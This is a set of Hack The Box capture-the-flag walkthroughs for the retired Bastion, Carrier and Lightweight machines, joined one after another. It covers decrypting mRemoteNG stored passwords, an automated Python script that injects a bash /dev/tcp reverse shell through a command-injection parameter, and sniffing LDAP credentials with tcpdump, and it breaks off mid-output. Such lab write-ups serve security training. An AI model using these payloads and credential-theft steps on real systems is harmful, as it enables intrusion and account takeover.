    <Node Name="DC" Type="Connection" Descr="" Icon="mRemoteNG" Panel="General" Id="500e7d58-662a-44d4-aff0-3a4f547a3fee" Username="Administrator" Domain="" Password="V22XaC5eW4epRxRgXEM5RjuQe2UNrHaZSGMUenOvA1Cit/z3v1fUfZmGMglsiaICSus+bOwJQ/4AnYAt2AeE8g==" Hostname="127.0.0.1" Protocol="RDP" PuttySession="Default Settings" Port="3389" ConnectToConsole="false" UseCredSsp="true" RenderingEngine="IE" ICAEncryptionStrength="EncrBasic" RDPAuthenticationLevel="NoAuth" RDPMinutesToIdleTimeout="0" RDPAlertIdleTimeout="false" LoadBalanceInfo="" Colors="Colors16Bit" Resolution="FitToWindow" AutomaticResize="true" DisplayWallpaper="false" DisplayThemes="false" EnableFontSmoothing="false" EnableDesktopComposition="false" CacheBitmaps="false" RedirectDiskDrives="false" RedirectPorts="false" RedirectPrinters="false" RedirectSmartCards="false" RedirectSound="DoNotPlay" SoundQuality="Dynamic" RedirectKeys="false" Connected="false" PreExtApp="" PostExtApp="" MacAddress="" UserField="" ExtApp="" VNCCompression="CompNone" VNCEncoding="EncHextile" VNCAuthMode="AuthVNC" VNCProxyType="ProxyNone" VNCProxyIP="" VNCProxyPort="0" VNCProxyUsername="" VNCProxyPassword="" VNCColors="ColNormal" VNCSmartSizeMode="SmartSAspect" VNCViewOnly="false" RDGatewayUsageMethod="Never" RDGatewayHostname="" RDGatewayUseConnectionCredentials="Yes" RDGatewayUsername="" RDGatewayPassword="" RDGatewayDomain="" InheritCacheBitmaps="false" InheritColors="false" InheritDescription="false" InheritDisplayThemes="false" InheritDisplayWallpaper="false" InheritEnableFontSmoothing="false" InheritEnableDesktopComposition="false" InheritDomain="false" InheritIcon="false" InheritPanel="false" InheritPassword="false" InheritPort="false" InheritProtocol="false" InheritPuttySession="false" InheritRedirectDiskDrives="false" InheritRedirectKeys="false" InheritRedirectPorts="false" InheritRedirectPrinters="false" InheritRedirectSmartCards="false" InheritRedirectSound="false" InheritSoundQuality="false" InheritResolution="false" InheritAutomaticResize="false" InheritUseConsoleSession="false" InheritUseCredSsp="false" InheritRenderingEngine="false" InheritUsername="false" InheritICAEncryptionStrength="false" InheritRDPAuthenticationLevel="false" InheritRDPMinutesToIdleTimeout="false" InheritRDPAlertIdleTimeout="false" InheritLoadBalanceInfo="false" InheritPreExtApp="false" InheritPostExtApp="false" InheritMacAddress="false" InheritUserField="false" InheritExtApp="false" InheritVNCCompression="false" InheritVNCEncoding="false" InheritVNCAuthMode="false" InheritVNCProxyType="false" InheritVNCProxyIP="false" InheritVNCProxyPort="false" InheritVNCProxyUsername="false" InheritVNCProxyPassword="false" InheritVNCColors="false" InheritVNCSmartSizeMode="false" InheritVNCViewOnly="false" InheritRDGatewayUsageMethod="false" InheritRDGatewayHostname="false" InheritRDGatewayUseConnectionCredentials="false" InheritRDGatewayUsername="false" InheritRDGatewayPassword="false" InheritRDGatewayDomain="false" />
    <Node Name="L4mpje-PC" Type="Connection" Descr="" Icon="mRemoteNG" Panel="General" Id="8d3579b2-e68e-48c1-8f0f-9ee1347c9128" Username="L4mpje" Domain="" Password="OuhzIwEZtD30y9QFzUOGDDoHnaSWGQFHcD5YSnj/YoJ2sE41GLoykzMgEAZh940z8pKetHSQDonI5/z7" Hostname="192.168.1.75" Protocol="RDP" PuttySession="Default Settings" Port="3389" ConnectToConsole="false" UseCredSsp="true" RenderingEngine="IE" ICAEncryptionStrength="EncrBasic" RDPAuthenticationLevel="NoAuth" RDPMinutesToIdleTimeout="0" RDPAlertIdleTimeout="false" LoadBalanceInfo="" Colors="Colors16Bit" Resolution="FitToWindow" AutomaticResize="true" DisplayWallpaper="false" DisplayThemes="false" EnableFontSmoothing="false" EnableDesktopComposition="false" CacheBitmaps="false" RedirectDiskDrives="false" RedirectPorts="false" RedirectPrinters="false" RedirectSmartCards="false" RedirectSound="DoNotPlay" SoundQuality="Dynamic" RedirectKeys="false" Connected="false" PreExtApp="" PostExtApp="" MacAddress="" UserField="" ExtApp="" VNCCompression="CompNone" VNCEncoding="EncHextile" VNCAuthMode="AuthVNC" VNCProxyType="ProxyNone" VNCProxyIP="" VNCProxyPort="0" VNCProxyUsername="" VNCProxyPassword="" VNCColors="ColNormal" VNCSmartSizeMode="SmartSAspect" VNCViewOnly="false" RDGatewayUsageMethod="Never" RDGatewayHostname="" RDGatewayUseConnectionCredentials="Yes" RDGatewayUsername="" RDGatewayPassword="" RDGatewayDomain="" InheritCacheBitmaps="false" InheritColors="false" InheritDescription="false" InheritDisplayThemes="false" InheritDisplayWallpaper="false" InheritEnableFontSmoothing="false" InheritEnableDesktopComposition="false" InheritDomain="false" InheritIcon="false" InheritPanel="false" InheritPassword="false" InheritPort="false" InheritProtocol="false" InheritPuttySession="false" InheritRedirectDiskDrives="false" InheritRedirectKeys="false" InheritRedirectPorts="false" InheritRedirectPrinters="false" InheritRedirectSmartCards="false" InheritRedirectSound="false" InheritSoundQuality="false" InheritResolution="false" InheritAutomaticResize="false" InheritUseConsoleSession="false" InheritUseCredSsp="false" InheritRenderingEngine="false" InheritUsername="false" InheritICAEncryptionStrength="false" InheritRDPAuthenticationLevel="false" InheritRDPMinutesToIdleTimeout="false" InheritRDPAlertIdleTimeout="false" InheritLoadBalanceInfo="false" InheritPreExtApp="false" InheritPostExtApp="false" InheritMacAddress="false" InheritUserField="false" InheritExtApp="false" InheritVNCCompression="false" InheritVNCEncoding="false" InheritVNCAuthMode="false" InheritVNCProxyType="false" InheritVNCProxyIP="false" InheritVNCProxyPort="false" InheritVNCProxyUsername="false" InheritVNCProxyPassword="false" InheritVNCColors="false" InheritVNCSmartSizeMode="false" InheritVNCViewOnly="false" InheritRDGatewayUsageMethod="false" InheritRDGatewayHostname="false" InheritRDGatewayUseConnectionCredentials="false" InheritRDGatewayUsername="false" InheritRDGatewayPassword="false" InheritRDGatewayDomain="false" />
</mrng:Connections>

I solved this box right when it was released, and the above file is what it was at that time. It seems that the file has been changed since then. It doens’t matter, the results are the same. But if you see different values from what I have, that is why. The resulting passwords will be the same.

Extract Passwords

Old Techniques

There’s a lot of articles like this and this that target an older version of the software that used a static key to decrypt the passwords. The Metasploit module abuses this as well. Starting in version 1.76, the use can now choose a master password, but there is still a default password or “mR3m”. But, the default AES block mode also changed, which leaves all the older tools still incapabile of decrpyting newer files.

Method 1: From Within mRemoteNG

I’ll open my Commando VM and install mRemoteNG. Then I’ll drop the confCons.xml file from target into C:\Users\0xdf\AppData\Roaming\mRemoteNG and re-open mRemoteNG. I’ll see two connections listed:

1557456754788

mRemoteNG doesn’t want to just tell me the passwords. However, I can use the fact that the program wants to allow me to connect it to external tools that it may not be pre-programed to work with by creating a new External Tool by going to Tools -> External Tools -> New External Tool.

In the Window that opens, I’ll add a display name, filename, and arguments as follows:

1557457036252

My external tool is just cmd, and I have it running an echo with the username and password.

Now I can right-click on a connection, go to External Tools, and Password is an option:

1557456800055

Clicking it pops a cmd window with the password at the top:

1557457064938

The password for L4mpje matches what I already know. The password for DC is new:

1557457101260

Now I have the administrtor password, “thXLHM96BeKL0ER2”.

Method 2: mremoteng-decrypt

I downloaded and ran here, and it worked:

root@kali:/opt/mremoteng-decrypt# java -jar decipher_mremoteng.jar OuhzIwEZtD30y9QFzUOGDDoHnaSWGQFHcD5YSnj/YoJ2sE41GLoykzMgEAZh940z8pKetHSQDonI5/z7
User Input: OuhzIwEZtD30y9QFzUOGDDoHnaSWGQFHcD5YSnj/YoJ2sE41GLoykzMgEAZh940z8pKetHSQDonI5/z7
Use default password for cracking...
Decrypted Output: bureaulampje

root@kali:/opt/mremoteng-decrypt# java -jar decipher_mremoteng.jar V22XaC5eW4epRxRgXEM5RjuQe2UNrHaZSGMUenOvA1Cit/z3v1fUfZmGMglsiaICSus+bOwJQ/4AnYAt2AeE8g==
User Input: V22XaC5eW4epRxRgXEM5RjuQe2UNrHaZSGMUenOvA1Cit/z3v1fUfZmGMglsiaICSus+bOwJQ/4AnYAt2AeE8g==
Use default password for cracking...
Decrypted Output: thXLHM96BeKL0ER2

SSH as administrator

With that password, I can ssh in as administrator:

c:\PENTEST>ssh administrator@10.10.10.134
administrator@10.10.10.134's password:thXLHM96BeKL0ER2

Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

administrator@BASTION C:\Users\Administrator>cd desktop

administrator@BASTION C:\Users\Administrator\Desktop>type root.txt
958*****5c8

HTB – Carrier

Today we are going to solve another CTF challenge “Carrier”. It is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.

Level: Expert

Task: To find user.txt and root.txt file

Note: The IP of Carrier is 10.10.10.105

root@carrier:/tmp# lxc list
+------+---------+---------------------+------+------------+-----------+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+------+---------+---------------------+------+------------+-----------+
| r1 | RUNNING | 10.99.64.2 (eth0) | | PERSISTENT | 0 |
| | | 10.78.11.1 (eth2) | | | |
| | | 10.78.10.1 (eth1) | | | |
+------+---------+---------------------+------+------------+-----------+
| r2 | RUNNING | 10.99.64.3 (eth0) | | PERSISTENT | 0 |
| | | 10.78.12.1 (eth2) | | | |
| | | 10.78.10.2 (eth1) | | | |
+------+---------+---------------------+------+------------+-----------+
| r3 | RUNNING | 10.99.64.4 (eth0) | | PERSISTENT | 0 |
| | | 10.78.12.2 (eth2) | | | |
| | | 10.78.11.2 (eth1) | | | |
| | | 10.120.15.1 (eth3) | | | |
+------+---------+---------------------+------+------------+-----------+
| web | RUNNING | 10.99.64.251 (eth0) | | PERSISTENT | 0 |
+------+---------+---------------------+------+------------+-----------+
root@carrier:/tmp#

Let’s start off with our basic Nmap command to find out the open ports and services.

c:\PENTEST>nmap -sC -sV -p- -T4 10.10.10.105
Starting Nmap 7.70 ( https://nmap.org ) at 2019-09-09 13:16 W. Europe Summer Time
Nmap scan report for 10.10.10.105
Host is up (0.024s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
21/tcp filtered ftp
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 15:a4:28:77:ee:13:07:06:34:09:86:fd:6f:cc:4c:e2 (RSA)
| 256 37:be:de:07:0f:10:bb:2b:b5:85:f7:9d:92:5e:83:25 (ECDSA)
|_ 256 89:5a:ee:1c:22:02:d2:13:40:f2:45:2e:70:45:b0:c4 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Login
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.90 seconds
c:\PENTEST>nmap -sU --min-rate=5000 -T4 10.10.10.105
Starting Nmap 7.70 ( https://nmap.org ) at 2019-09-09 13:19 W. Europe Summer Time
Nmap scan report for 10.10.10.105
Host is up (0.022s latency).
Not shown: 993 open|filtered ports
PORT STATE SERVICE
161/udp open snmp
3664/udp closed ups-engine
8900/udp closed jmb-cds1
17423/udp closed unknown
20762/udp closed unknown
44508/udp closed unknown
45380/udp closed unknown

Nmap done: 1 IP address (1 host up) scanned in 8.56 seconds

The Nmap scan shows us that there are 3 TCP ports are open: 21(FTP), 22(SSH), 80(HTTP) and 1 UDP port is open: 161(SNMP)

As port 161 is open we use snmpwalk to enumerate SNMP port and find a string called “SN#NET_45JDX23”.

root@kali:~/htb# snmpwalk -c public -v 1 10.10.10.105
Created directory: /var/lib/snmp/mib_indexes
iso.3.6.1.2.1.47.1.1.1.1.11 = STRING: "SN#NET_45JDX23"
End of MIB

1st we WFUZZ for some more info about the the open port 80,

root@kali:~/htb# wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://10.10.10.105/FUZZ

********************************************************
* Wfuzz 2.4 - The Web Fuzzer *
********************************************************

Target: http://10.10.10.105/FUZZ
Total requests: 949

===================================================================
ID Response Lines Word Chars Payload 
===================================================================

000000223: 301 9 L 28 W 310 Ch "css" 
000000245: 301 9 L 28 W 312 Ch "debug" 
000000277: 301 9 L 28 W 310 Ch "doc" 
000000413: 301 9 L 28 W 310 Ch "img" 
000000454: 301 9 L 28 W 309 Ch "js" 
000000838: 301 9 L 28 W 312 Ch "tools"

Total time: 3.342466
Processed Requests: 949
Filtered Requests: 943
Requests/sec.: 283.9220

We try username “admin” and the string we find earlier as the password. But were unable to login but by using the password “NET_45JDX23”, we were able to login.

By checking the different options in the web application, in the diagnostic tab, we find something interesting. When we click on the “Verify status” button, we find that the server might be running “ps” command.

So further enumerate the web application, we use BurpSuite to capture the request and find inside the “check” parameter a base64 encoded string. When we decode the base64 encoded string we find the string to be called “quagga”. Now if check the web application, it is showing all the process that contains the string “quagga”. So that means the web application is running “ps” with “grep quagga” command.

Now to verify our theory, we change the check parameter to “root” and then encode it to base64 and then encode it to URL encode.

When we send the new request we find that the web application is displaying all the process that contains the string “root”.

Now we check if the web application is vulnerable to command injection or not. We try to run id command on the server.

By changing the parameter to “hack;id” and then encoding it with base64 encode and URL encode we forward the request to the server.

When we check the web application, we find that we are successfully able to run the “id” command that means the web application is vulnerable to command injection.

Now we replace the id command with nc reverse shell one-liner.

We encode the string with base64 encode and URL encode. We setup our listener and then forward the request.

As soon as we forward the request we get a reverse shell, we spawn a TTY shell and check for files in the current directory. Inside we find a file called “user.txt”, we open the file and find the first flag.

C:\Users\jacco>nc -lvp 443
listening on [any] 443 ...
10.10.10.105: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [10.10.14.6] from (UNKNOWN) [10.10.10.105] 38314: NO_DATA
bash: cannot set terminal process group (2507): Inappropriate ioctl for device
bash: no job control in this shell
root@r1:~# python3 -c "import pty; pty.spawn('/bin/bash')"
python3 -c "import pty; pty.spawn('/bin/bash')"
root@r1:~#
root@r1:~# ls
ls
test_intercept.pcap user.txt
root@r1:~# cat user.txt
cat user.txt
564*****2be

Automated Script to get initial shell:

#!/usr/bin/python

"""
A script to get a reverse shell on Hack The Box retired machine - Carrier.
Write-up : https://0xrick.github.io/hack-the-box/carrier/
usage : ./shell.py [ip adress] [port]
"""
import requests
import sys
import subprocess
import base64

base_url = "http://10.10.10.105"
diag_url = "http://10.10.10.105/diag.php"
session = requests.session()
login_data = {"username" : "admin" , "password" : "NET_45JDX23"}
payload = base64.b64encode("root && bash -i >& /dev/tcp/" + sys.argv[1] + "/" + sys.argv[2] + " 0>&1")
shell_data = {"check" : payload}

session.post(base_url , data=login_data)
subprocess.Popen(["nc","-lvnp",sys.argv[2]])
session.post(diag_url , data=shell_data)

After getting a root shell we enumerated the machine, we do not find anything interesting. Going back to the tickets section on the web page, we find a hint that we need to check another subnet.

We use the ping command to find all the available machines on the subnet “10.120.15.0/24”.

root@r1:~# for i in {1..255}; do ping -c 1 10.120.15.$i | grep "bytes from" | cut -d " " -f4 | cut -d ":" -f1 ; done
<$i | grep "bytes from" | cut -d " " -f4 | cut -d ":" -f1 ; done 
10.120.15.1
10.120.15.10

Now we according to the ticket we know there is ftp server running on subnet “10.120.15.0/24”. So we scan both the IP addresses and find port 21 is open on 10.120.15.10. Further enumerating the system in cronjob we find that there is a bash script inside /opt/ directory called “restore.sh”. We take a look at the content of the file and find that the machine is working with Border Gateway Protocol (BGP) with Quagga. Now we can use a technique called BGP hijacking to take over the IP address. The bash script restores the BGP configuration every 10 minutes, so we remove executable permissions from the script so that we can make changes to the configuration of BGP

root@r1:~# crontab -l
crontab -l
# Edit this file to introduce tasks to be run by cron.
# 
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
# 
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').# 
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
# 
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
# 
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
# 
# For more information see the manual pages of crontab(5) and cron(8)
# 
# m h dom mon dow command
*/10 * * * * /opt/restore.sh
root@r1:~# chmod -x /opt/restore.sh 
chmod -x /opt/restore.sh

Now we connect to the vty shell and check the current configuration.

Now switch to configure mode, and to intercept the traffic we want 10.120.15.0/25 to use our machine as the gateway.

We wait for some time then interrupt the capture and check if the pcap file has been created. Now we transfer the file to our system with netcat and analyze it with Wireshark and find the password for FTP.

We use this password to login through SSH on the target system and are successfully able to login. After logging in, we find a file called root.txt, we take a look at the content of the file and find the final flag.

credits to: https://www.hackingarticles.in/hack-the-box-carrier-walkthrough/

Author: Jacco Straathof

HTB – Lightweight

Today we are going to solve another CTF challenge “lightweight”. It is a retired vulnerable lab presented by Hack the Box for helping pentesters to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.

Level: Medium

Task: To find user.txt and root.txt file

Note: Since these labs are online available, therefore, they have a static IP. The IP of lightweight is 10.10.10.119

Let’s start off with our basic Nmap command to find out the open ports and services.

nmap -sV -sT -sC lightweight.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-06 02:55 EDT
Stats: 0:00:14 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 13.55% done; ETC: 02:57 (0:01:23 remaining)
Nmap scan report for lightweight.htb (10.10.10.119)
Host is up (0.54s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
| 2048 19:97:59:9a:15:fd:d2:ac:bd:84:73:c4:29:e9:2b:73 (RSA)
| 256 88:58:a1:cf:38:cd:2e:15:1d:2c:7f:72:06:a3:57:67 (ECDSA)
|_ 256 31:6c:c1:eb:3b:28:0f:ad:d5:79:72:8f:f5:b5:49:db (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16)
|_http-title: Lightweight slider evaluation page - slendr
389/tcp open ldap OpenLDAP 2.2.X - 2.3.X
| ssl-cert: Subject: commonName=lightweight.htb
| Subject Alternative Name: DNS:lightweight.htb, DNS:localhost, DNS:localhost.localdomain
| Not valid before: 2018-06-09T13:32:51
|_Not valid after: 2019-06-09T13:32:51
|_ssl-date: TLS randomness does not represent time

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 80.51 seconds

Therefore, with the help of nmap NSE script we go for LDAP enumeration:

root@kali:~/htb/lightweight# nmap -Pn -p 389 --script ldap-search 10.10.10.119
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-06 02:57 EDT
Nmap scan report for lightweight.htb (10.10.10.119)
Host is up (0.026s latency).

PORT STATE SERVICE
389/tcp open ldap
| ldap-search: 
| Context: dc=lightweight,dc=htb
| dn: dc=lightweight,dc=htb
| objectClass: top
| objectClass: dcObject
| objectClass: organization
| o: lightweight htb
| dc: lightweight
| dn: cn=Manager,dc=lightweight,dc=htb
| objectClass: organizationalRole
| cn: Manager
| description: Directory Manager
| dn: ou=People,dc=lightweight,dc=htb
| objectClass: organizationalUnit
| ou: People
| dn: ou=Group,dc=lightweight,dc=htb
| objectClass: organizationalUnit
| ou: Group
| dn: uid=ldapuser1,ou=People,dc=lightweight,dc=htb
| uid: ldapuser1
| cn: ldapuser1
| sn: ldapuser1
| mail: ldapuser1@lightweight.htb
| objectClass: person
| objectClass: organizationalPerson
| objectClass: inetOrgPerson
| objectClass: posixAccount
| objectClass: top
| objectClass: shadowAccount
| userPassword: {crypt}$6$3qx0SD9x$Q9y1lyQaFKpxqkGqKAjLOWd33Nwdhj.l4MzV7vTnfkE/g/Z/7N5ZbdEQWfup2lSdASImHtQFh6zMo41ZA./44/
| shadowLastChange: 17691
| shadowMin: 0
| shadowMax: 99999
| shadowWarning: 7
| loginShell: /bin/bash
| uidNumber: 1000
| gidNumber: 1000
| homeDirectory: /home/ldapuser1
| dn: uid=ldapuser2,ou=People,dc=lightweight,dc=htb
| uid: ldapuser2
| cn: ldapuser2
| sn: ldapuser2
| mail: ldapuser2@lightweight.htb
| objectClass: person
| objectClass: organizationalPerson
| objectClass: inetOrgPerson
| objectClass: posixAccount
| objectClass: top
| objectClass: shadowAccount
| userPassword: {crypt}$6$xJxPjT0M$1m8kM00CJYCAgzT4qz8TQwyGFQvk3boaymuAmMZCOfm3OA7OKunLZZlqytUp2dun509OBE2xwX/QEfjdRQzgn1
| shadowLastChange: 17691
| shadowMin: 0
| shadowMax: 99999
| shadowWarning: 7
| loginShell: /bin/bash
| uidNumber: 1001
| gidNumber: 1001
| homeDirectory: /home/ldapuser2
| dn: cn=ldapuser1,ou=Group,dc=lightweight,dc=htb
| objectClass: posixGroup
| objectClass: top
| cn: ldapuser1
| userPassword: {crypt}x
| gidNumber: 1000
| dn: cn=ldapuser2,ou=Group,dc=lightweight,dc=htb
| objectClass: posixGroup
| objectClass: top
| cn: ldapuser2
| userPassword: {crypt}x
|_ gidNumber: 1001

Nmap done: 1 IP address (1 host up) scanned in 0.92 seconds

 

Since we know that http service was running on port 80 therefore, we navigate to a web browser and browse target IP and welcome by following page where we saw “This site is protected by against brute forcing ” that mean fail2ban could be running inside VM moreover we found three hyperlinks.

When I opened the user.php hyperlink I read the highlighted text and according to this text, a user in the machine has been automatically added for us.

Exploiting

Therefore, I try to connect with SSH by using 10.10.14.10:10.10.14.10 as login credential. At this point, I was not sure what should be done to extract hidden flag, therefore, I thought to identify the binary capability files with the help of getcap and saw the fruitful result.

root@kali:~/htb# ssh 10.10.14.7@lightweight.htb
10.10.14.7@lightweight.htb's password:10.10.14.7
[10.10.14.7@lightweight ~]$ id
uid=1003(10.10.14.7) gid=1003(10.10.14.7) groups=1003(10.10.14.7) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[10.10.14.7@lightweight ~]$ getcap -r / 2>/dev/null
/usr/bin/ping = cap_net_admin,cap_net_raw+p
/usr/sbin/mtr = cap_net_raw+ep
/usr/sbin/suexec = cap_setgid,cap_setuid+ep
/usr/sbin/arping = cap_net_raw+p
/usr/sbin/clockdiff = cap_net_raw+p
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+ep
tcpdump -i any -X port ldap

As result, we observe the following traffic, as predicted, where I found the ldapuser2 password in plaintext.

[10.10.14.7@lightweight ~]$ tcpdump -i any -X port ldap
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on any, link-type LINUX_SLL (Linux cooked), capture size 262144 bytes
08:04:48.987956 IP lightweight.htb.59646 > lightweight.htb.ldap: Flags [S], seq 4215069383, win 43690, options [mss 65495,sackOK,TS val 372966 ecr 0,nop,wscale 6], length 0
0x0000: 4500 003c 6a21 4000 4006 a799 0a0a 0a77 E..<j!@.@......w
0x0010: 0a0a 0a77 e8fe 0185 fb3c dac7 0000 0000 ...w.....<......
0x0020: a002 aaaa 2930 0000 0204 ffd7 0402 080a ....)0..........
0x0030: 0005 b0e6 0000 0000 0103 0306 0000 0000 ................
0x0040: 0000 0000 0000 0000 0000 0000 ............
08:04:48.987983 IP lightweight.htb.ldap > lightweight.htb.59646: Flags [S.], seq 3703358360, ack 4215069384, win 43690, options [mss 65495,sackOK,TS val 372966 ecr 372966,nop,wscale 6], length 0
0x0000: 4500 003c 0000 4000 4006 11bb 0a0a 0a77 E..<..@.@......w
0x0010: 0a0a 0a77 0185 e8fe dcbc c398 fb3c dac8 ...w.........<..
0x0020: a012 aaaa 2930 0000 0204 ffd7 0402 080a ....)0..........
0x0030: 0005 b0e6 0005 b0e6 0103 0306 0000 0000 ................
0x0040: 0000 0000 0000 0000 0000 0000 ............
08:04:48.988003 IP lightweight.htb.59646 > lightweight.htb.ldap: Flags [.], ack 1, win 683, options [nop,nop,TS val 372966 ecr 372966], length 0
0x0000: 4500 0034 6a22 4000 4006 a7a0 0a0a 0a77 E..4j"@.@......w
0x0010: 0a0a 0a77 e8fe 0185 fb3c dac8 dcbc c399 ...w.....<......
0x0020: 8010 02ab 2928 0000 0101 080a 0005 b0e6 ....)(..........
0x0030: 0005 b0e6 0000 0000 0000 0000 0000 0000 ................
0x0040: 0000 0000 ....
08:04:48.988062 IP lightweight.htb.59646 > lightweight.htb.ldap: Flags [P.], seq 1:92, ack 1, win 683, options [nop,nop,TS val 372966 ecr 372966], length 91
0x0000: 4500 008f 6a23 4000 4006 a744 0a0a 0a77 E...j#@.@..D...w
0x0010: 0a0a 0a77 e8fe 0185 fb3c dac8 dcbc c399 ...w.....<......
0x0020: 8018 02ab 2983 0000 0101 080a 0005 b0e6 ....)...........
0x0030: 0005 b0e6 3059 0201 0160 5402 0103 042d ....0Y...`T....-
0x0040: 7569 643d 6c64 6170 7573 6572 322c 6f75 uid=ldapuser2,ou
0x0050: 3d50 656f 706c 652c 6463 3d6c 6967 6874 =People,dc=light
0x0060: 7765 6967 6874 2c64 633d 6874 6280 2038 weight,dc=htb..8
0x0070: 6263 3832 3531 3333 3261 6265 3164 3766 bc8251332abe1d7f
0x0080: 3130 3564 3365 3533 6164 3339 6163 3200 105d3e53ad39ac2.
0x0090: 0000 0000 0000 0000 0000 0000 0000 00 ...............
08:04:48.988069 IP lightweight.htb.ldap > lightweight.htb.59646: Flags [.], ack 92, win 683, options [nop,nop,TS val 372966 ecr 372966], length 0
0x0000: 4500 0034 737f 4000 4006 9e43 0a0a 0a77 E..4s.@.@..C...w
0x0010: 0a0a 0a77 0185 e8fe dcbc c399 fb3c db23 ...w.........<.#
0x0020: 8010 02ab 2928 0000 0101 080a 0005 b0e6 ....)(..........
0x0030: 0005 b0e6 0000 0000 0000 0000 0000 0000 ................
0x0040: 0000 0000 ....
08:04:48.997887 IP lightweight.htb.ldap > lightweight.htb.59646: Flags [P.], seq 1:15, ack 92, win 683, options [nop,nop,TS val 372976 ecr 372966], length 14
0x0000: 4500 0042 7380 4000 4006 9e34 0a0a 0a77 E..Bs.@.@..4...w
0x0010: 0a0a 0a77 0185 e8fe dcbc c399 fb3c db23 ...w.........<.#
0x0020: 8018 02ab 2936 0000 0101 080a 0005 b0f0 ....)6..........
0x0030: 0005 b0e6 300c 0201 0161 070a 0100 0400 ....0....a......
0x0040: 0400 0000 0000 0000 0000 0000 0000 0000 ................
0x0050: 0000 ..
08:04:48.997899 IP lightweight.htb.59646 > lightweight.htb.ldap: Flags [.], ack 15, win 683, options [nop,nop,TS val 372976 ecr 372976], length 0
0x0000: 4500 0034 6a24 4000 4006 a79e 0a0a 0a77 E..4j$@.@......w
0x0010: 0a0a 0a77 e8fe 0185 fb3c db23 dcbc c3a7 ...w.....<.#....
0x0020: 8010 02ab 2928 0000 0101 080a 0005 b0f0 ....)(..........
0x0030: 0005 b0f0 0000 0000 0000 0000 0000 0000 ................
0x0040: 0000 0000 ....
08:04:49.001674 IP lightweight.htb.59646 > lightweight.htb.ldap: Flags [P.], seq 92:99, ack 15, win 683, options [nop,nop,TS val 372980 ecr 372976], length 7
0x0000: 4500 003b 6a25 4000 4006 a796 0a0a 0a77 E..;j%@.@......w
0x0010: 0a0a 0a77 e8fe 0185 fb3c db23 dcbc c3a7 ...w.....<.#....
0x0020: 8018 02ab 292f 0000 0101 080a 0005 b0f4 ....)/..........
0x0030: 0005 b0f0 3005 0201 0242 0006 0000 0000 ....0....B......
0x0040: 0000 0000 0000 0000 0000 00 ...........
^C
8 packets captured
44 packets received by filter
28 packets dropped by kernel

Then we switch the user with the following credential and obtain our first flag user.txt

Username: ldapuser2
Password: 8bc8251332abe1d7f105d3e53ad39ac2
10.10.14.7@lightweight ~]$ su ldapuser2
Password: 8bc8251332abe1d7f105d3e53ad39ac2
[ldapuser2@lightweight 10.10.14.7]$ pwd
/home/10.10.14.7
[ldapuser2@lightweight 10.10.14.7]$ cd ..
[ldapuser2@lightweight home]$ ls
10.10.14.2 10.10.14.7 ldapuser1 ldapuser2
[ldapuser2@lightweight home]$ cd ldapuser2
[ldapuser2@lightweight ~]$ ls
backup.7z OpenLDAP-Admin-Guide.pdf OpenLdap.pdf user.txt
[ldapuser2@lightweight ~]$ cat user.txt
8a866d3bb7e13a57aaeb110297f48026

Privilege Escalation

Inside the directory /ldapuser2, I found an archive as backup.7z and for its inspection, we need to transfer this file mine in our local machine.

[ldapuser2@lightweight ~]$ cat backup.7z | base64
N3q8ryccAAQmbxM1EA0AAAAAAAAjAAAAAAAAAI5s6D0e1KZKLpqLx2xZ2BYNO8O7/Zlc4Cz0MOpB
lJ/010X2vz7SOOnwbpjaNEbdpT3wq/EZAoUuSypOMuCw8Sszr0DTUbIUDWJm2xo9ZuHIL6nVFlVu
--snip--
3sgjI
hYusiF1vL3ojt9qcVa4mCjTpus4e3vJ4gd6iWAt8KT2GmnPjb0+N+tYjcX9U/W/leRKQGX/USF7X
WwZioJpI7t/uAAAAABcGjFABCYDAAAcLAQABIwMBAQVdABAAAAyBCgoBPiBwEwAA

So, I copied it in our machine and try to extract the file, but it was password protected.

I used below to crack the file

And use the “delete” password to extract the directory. I found some php files here and we looked for a status.php file among those files.

root@kali:~/htb/lightweight# 7z e backup.7z

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Pentium(R) CPU 4415U @ 2.30GHz (806E9),ASM,AES-NI)

Scanning the drive for archives:
1 file, 3411 bytes (4 KiB)

Extracting archive: backup.7z
--
